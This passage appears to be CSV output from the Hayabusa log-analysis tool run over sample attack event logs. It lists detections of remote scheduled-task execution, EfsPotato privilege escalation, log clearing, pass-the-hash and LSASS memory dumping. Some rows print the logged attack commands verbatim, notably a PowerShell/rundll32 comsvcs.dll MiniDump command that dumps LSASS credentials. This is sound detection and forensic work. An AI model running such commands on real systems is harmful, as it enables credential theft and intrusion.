Plugged,,rules/sigma/other/driverframeworks/win_usb_device_plugged.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.004-Impair Defenses-Disable or Modify System Firewall/ID2003-4950-Firewall disabled.evtx +2021-06-04 17:41:47.982 +09:00,exchange01.offsec.lan,6,high,Failed MSExchange Transport Agent Installation,,rules/sigma/other/msexchange/win_exchange_transportagent_failed.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1505-Server Software Component/ID6-Failed to install an Exchange transport agent.evtx +2021-06-04 17:41:48.041 +09:00,exchange01.offsec.lan,6,high,Failed MSExchange Transport Agent Installation,,rules/sigma/other/msexchange/win_exchange_transportagent_failed.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1505-Server Software Component/ID6-Failed to install an Exchange transport agent.evtx +2021-06-11 06:21:20.636 +09:00,fs01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 51503 : LogonID: 0x5a4175e,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,4698,4699,5145,4624-ATexec remote trask creation (GLOBAL).evtx" +2021-06-11 06:21:26.357 +09:00,fs01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 56594 : LogonID: 0x5a41984,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,4698,4699,5145,4624-ATexec remote trask creation (GLOBAL).evtx" +2021-06-11 06:21:26.406 +09:00,fs01.offsec.lan,4699,medium,Scheduled Task Deletion,,rules/sigma/builtin/security/win_scheduled_task_deletion.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1053.005-Scheduled Task/ID4698-4699-Fast created & deleted task by ATexec (susp. arg.).evtx +2021-06-11 06:21:26.406 +09:00,fs01.offsec.lan,4699,medium,Scheduled Task Deletion,,rules/sigma/builtin/security/win_scheduled_task_deletion.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,4698,4699,5145,4624-ATexec remote trask creation (GLOBAL).evtx" +2021-06-11 06:21:26.415 +09:00,fs01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: Temp\bouWFQYO.tmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1053.005-Scheduled Task/ID5145-Remote schedule task creation (ATexec).evtx +2021-06-11 06:21:26.415 +09:00,fs01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: Temp\bouWFQYO.tmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,4698,4699,5145,4624-ATexec remote trask creation (GLOBAL).evtx" +2021-06-11 06:21:29.427 +09:00,fs01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: Temp\bouWFQYO.tmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1053.005-Scheduled Task/ID5145-Remote schedule task creation (ATexec).evtx +2021-06-11 06:21:29.427 +09:00,fs01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: Temp\bouWFQYO.tmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,4698,4699,5145,4624-ATexec remote trask creation (GLOBAL).evtx" +2021-06-11 06:21:29.441 +09:00,fs01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: Temp\bouWFQYO.tmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1053.005-Scheduled Task/ID5145-Remote schedule task creation (ATexec).evtx +2021-06-11 06:21:29.441 +09:00,fs01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: Temp\bouWFQYO.tmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,4698,4699,5145,4624-ATexec remote trask creation (GLOBAL).evtx" +2021-06-13 15:17:18.087 +09:00,sv-dc.hinokabegakure-no-sato.local,59,informational,Bits Job Creation,Job Title: test : URL: http://192.168.10.254:80/calc.exe,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/YamatoSecurity/T1197_BITS Jobs/Windows-BitsClient.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,9,medium,Raw Disk Access Using Illegitimate Tools,,rules/sigma/raw_access_thread/sysmon_raw_disk_access_using_illegitimate_tools.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-23 04:33:38.725 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: c:\temp\EfsPotato.exe whoami : Path: C:\temp\EfsPotato.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: ""cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/EfsPotato_sysmon_17_18_privesc_seimpersonate_to_system.evtx +2021-08-23 04:33:38.844 +09:00,LAPTOP-JU4M3I0E,17,critical,EfsPotato Named Pipe,,rules/sigma/pipe_created/sysmon_efspotato_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/EfsPotato_sysmon_17_18_privesc_seimpersonate_to_system.evtx +2021-08-23 04:33:38.884 +09:00,LAPTOP-JU4M3I0E,18,critical,EfsPotato Named Pipe,,rules/sigma/pipe_created/sysmon_efspotato_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/EfsPotato_sysmon_17_18_privesc_seimpersonate_to_system.evtx +2021-08-23 04:33:38.905 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,Command: whoami : Path: C:\Windows\System32\whoami.exe : User: NT AUTHORITY\SYSTEM : Parent Command: c:\temp\EfsPotato.exe whoami,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/EfsPotato_sysmon_17_18_privesc_seimpersonate_to_system.evtx +2021-08-23 04:33:38.905 +09:00,LAPTOP-JU4M3I0E,1,high,Run Whoami as SYSTEM,,rules/sigma/process_creation/win_whoami_as_system.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/EfsPotato_sysmon_17_18_privesc_seimpersonate_to_system.evtx +2021-08-23 04:33:38.905 +09:00,LAPTOP-JU4M3I0E,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/EfsPotato_sysmon_17_18_privesc_seimpersonate_to_system.evtx +2021-08-23 04:33:38.905 +09:00,LAPTOP-JU4M3I0E,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/EfsPotato_sysmon_17_18_privesc_seimpersonate_to_system.evtx +2021-08-23 04:33:38.905 +09:00,LAPTOP-JU4M3I0E,1,high,Whoami Execution Anomaly,,rules/sigma/process_creation/win_susp_whoami_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/EfsPotato_sysmon_17_18_privesc_seimpersonate_to_system.evtx +2021-08-23 04:33:52.250 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\Users\bouss\AppData\Local\Microsoft\OneDrive\21.139.0711.0001\FileCoAuth.exe"" -Embedding : Path: C:\Users\bouss\AppData\Local\Microsoft\OneDrive\21.139.0711.0001\FileCoAuth.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/EfsPotato_sysmon_17_18_privesc_seimpersonate_to_system.evtx +2021-10-19 23:33:13.262 +09:00,FS03.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1201-Password Policy Discovery/ID4688-Password policy discovery via commandline.evtx +2021-10-19 23:40:28.001 +09:00,FS03.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4688-Group discovery via commandline.evtx +2021-10-19 23:42:41.218 +09:00,FS03.offsec.lan,4728,medium,User added to global security group,Member added: - : SID: S-1-5-21-3410678313-1251427014-1131291384-1004 : Group: None : Subject user: admmig : Subject domain: OFFSEC,rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1136-Create account/ID4688-User creation via commandline.evtx +2021-10-19 23:42:41.234 +09:00,FS03.offsec.lan,4720,medium,Local user account created,User: toto3 : SID:S-1-5-21-3410678313-1251427014-1131291384-1004,rules/hayabusa/default/alerts/Security/4720_CreateAccount-LocalAccount_UserAccountCreated.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1136-Create account/ID4688-User creation via commandline.evtx +2021-10-19 23:44:30.780 +09:00,FS03.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID4688-Network share discovery or connection via commandline.evtx +2021-10-19 23:45:16.394 +09:00,FS03.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688-Network share manipulation via commandline.evtx +2021-10-20 22:39:12.731 +09:00,FS03.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID4624-Mimikatz Pass the hash.evtx +2021-10-20 22:39:17.315 +09:00,FS03.offsec.lan,4624,informational,Logon Type 9 - NewCredentials,User: admmig : Workstation: - : IP Address: ::1 : Port: 0 : LogonID: 0x266e045 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-9-NewInteractive.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID4624-Mimikatz Pass the hash.evtx +2021-10-20 22:39:17.315 +09:00,FS03.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x266e045,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID4624-Mimikatz Pass the hash.evtx +2021-10-20 22:39:17.315 +09:00,FS03.offsec.lan,4624,medium,Pass the Hash Activity 2,,rules/sigma/builtin/security/win_pass_the_hash_2.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID4624-Mimikatz Pass the hash.evtx +2021-10-20 22:39:17.315 +09:00,FS03.offsec.lan,4624,high,Successful Overpass the Hash Attempt,,rules/sigma/builtin/security/win_overpass_the_hash.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID4624-Mimikatz Pass the hash.evtx +2021-10-20 22:39:21.730 +09:00,FS03.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Sysmon\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID4624-Mimikatz Pass the hash.evtx +2021-10-20 23:18:55.808 +09:00,FS03.offsec.lan,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1086,technique_name=PowerShell : Command: powershell.exe -NoP -C ""C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id \Windows\Temp\76nivOxA.dmp full;Wait-Process -Id (Get-Process rundll32).id"" : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: OFFSEC\admmig : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:18:55.808 +09:00,FS03.offsec.lan,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:18:55.808 +09:00,FS03.offsec.lan,1,high,Suspicious PowerShell Parent Process,,rules/sigma/process_creation/win_susp_powershell_parent_process.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:18:55.808 +09:00,FS03.offsec.lan,1,high,WMI Spawning Windows PowerShell,,rules/sigma/process_creation/win_wmi_spwns_powershell.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:18:55.808 +09:00,FS03.offsec.lan,1,high,PowerShell Get-Process LSASS,,rules/sigma/process_creation/win_susp_powershell_getprocess_lsass.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:18:55.808 +09:00,FS03.offsec.lan,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:18:55.808 +09:00,FS03.offsec.lan,1,high,Suspicious Script Execution From Temp Folder,,rules/sigma/process_creation/win_susp_script_exec_from_temp.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:18:55.808 +09:00,FS03.offsec.lan,1,high,LSASS Memory Dumping,,rules/sigma/process_creation/win_lsass_dump.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:18:56.089 +09:00,FS03.offsec.lan,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1086,technique_name=PowerShell : Command: ""C:\Windows\System32\rundll32.exe"" C:\Windows\System32\comsvcs.dll MiniDump 512 \Windows\Temp\76nivOxA.dmp full : Path: C:\Windows\System32\rundll32.exe : User: OFFSEC\admmig : Parent Command: powershell.exe -NoP -C ""C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id \Windows\Temp\76nivOxA.dmp full;Wait-Process -Id (Get-Process rundll32).id""",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:18:56.089 +09:00,FS03.offsec.lan,1,medium,Process Dump via Comsvcs DLL,,rules/sigma/process_creation/win_susp_comsvcs_procdump.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:18:56.105 +09:00,FS03.offsec.lan,10,high,LSASS Memory Dump,,rules/sigma/process_access/sysmon_lsass_memdump.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:18:56.105 +09:00,FS03.offsec.lan,10,critical,Lsass Memory Dump via Comsvcs DLL,,rules/sigma/process_access/sysmon_lsass_dump_comsvcs_dll.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:29:09.758 +09:00,FS03.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x26bdfac,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:09.758 +09:00,FS03.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 49192 : LogonID: 0x26bdfac,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:09.773 +09:00,FS03.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x26bdfde,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:09.773 +09:00,FS03.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 38940 : LogonID: 0x26bdfde,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:09.836 +09:00,FS03.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x26be000,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:09.836 +09:00,FS03.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 54742 : LogonID: 0x26be000,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:09.898 +09:00,FS03.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x26be01f,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:09.898 +09:00,FS03.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 54742 : LogonID: 0x26be01f,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:09.961 +09:00,FS03.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x26be03c,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:09.961 +09:00,FS03.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 54742 : LogonID: 0x26be03c,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:10.214 +09:00,FS03.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp\2V7Be7Gq.dmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:10.214 +09:00,FS03.offsec.lan,5145,medium,Suspicious Access to Sensitive File Extensions,,rules/sigma/builtin/security/win_susp_raccess_sensitive_fext.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:10.542 +09:00,FS03.offsec.lan,4656,critical,LSASS Access from Non System Account,,rules/sigma/builtin/security/win_lsass_access_non_system_account.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:10.542 +09:00,FS03.offsec.lan,4656,high,Generic Password Dumper Activity on LSASS,,rules/sigma/builtin/security/win_susp_lsass_dump_generic.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:11.230 +09:00,FS03.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp\2V7Be7Gq.dmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:11.230 +09:00,FS03.offsec.lan,5145,medium,Suspicious Access to Sensitive File Extensions,,rules/sigma/builtin/security/win_susp_raccess_sensitive_fext.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:12.553 +09:00,FS03.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp\2V7Be7Gq.dmp : IP Address: 